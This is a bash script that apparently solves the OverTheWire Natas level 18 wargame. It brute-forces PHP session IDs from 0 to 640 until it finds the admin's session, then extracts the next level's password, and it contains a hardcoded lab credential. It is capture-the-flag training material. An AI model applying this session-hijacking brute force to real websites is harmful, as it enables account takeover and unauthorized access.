#!/usr/bin/env bash USERNAME="admin" PASSWORD="arbitrary" req() { local SESSION_ID=$1 curl http://natas18.natas.labs.overthewire.org/index.php \ -X POST \ -u natas18:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ \ -d "username=$USERNAME" \ -d "password=$PASSWORD" \ --cookie "PHPSESSID=$SESSION_ID" \ -sS \ | grep "Password: " } MIN_ID=0 MAX_ID=640 for ((i=MIN_ID ; i <= MAX_ID ; i++)); do printf "Attempt: %2d" $i OUT=$(req "$i") if [ $? -ne 0 ]; then echo -en '\r' else echo " [admin]" echo $OUT | awk '{print substr($2,1,32)}' break fi done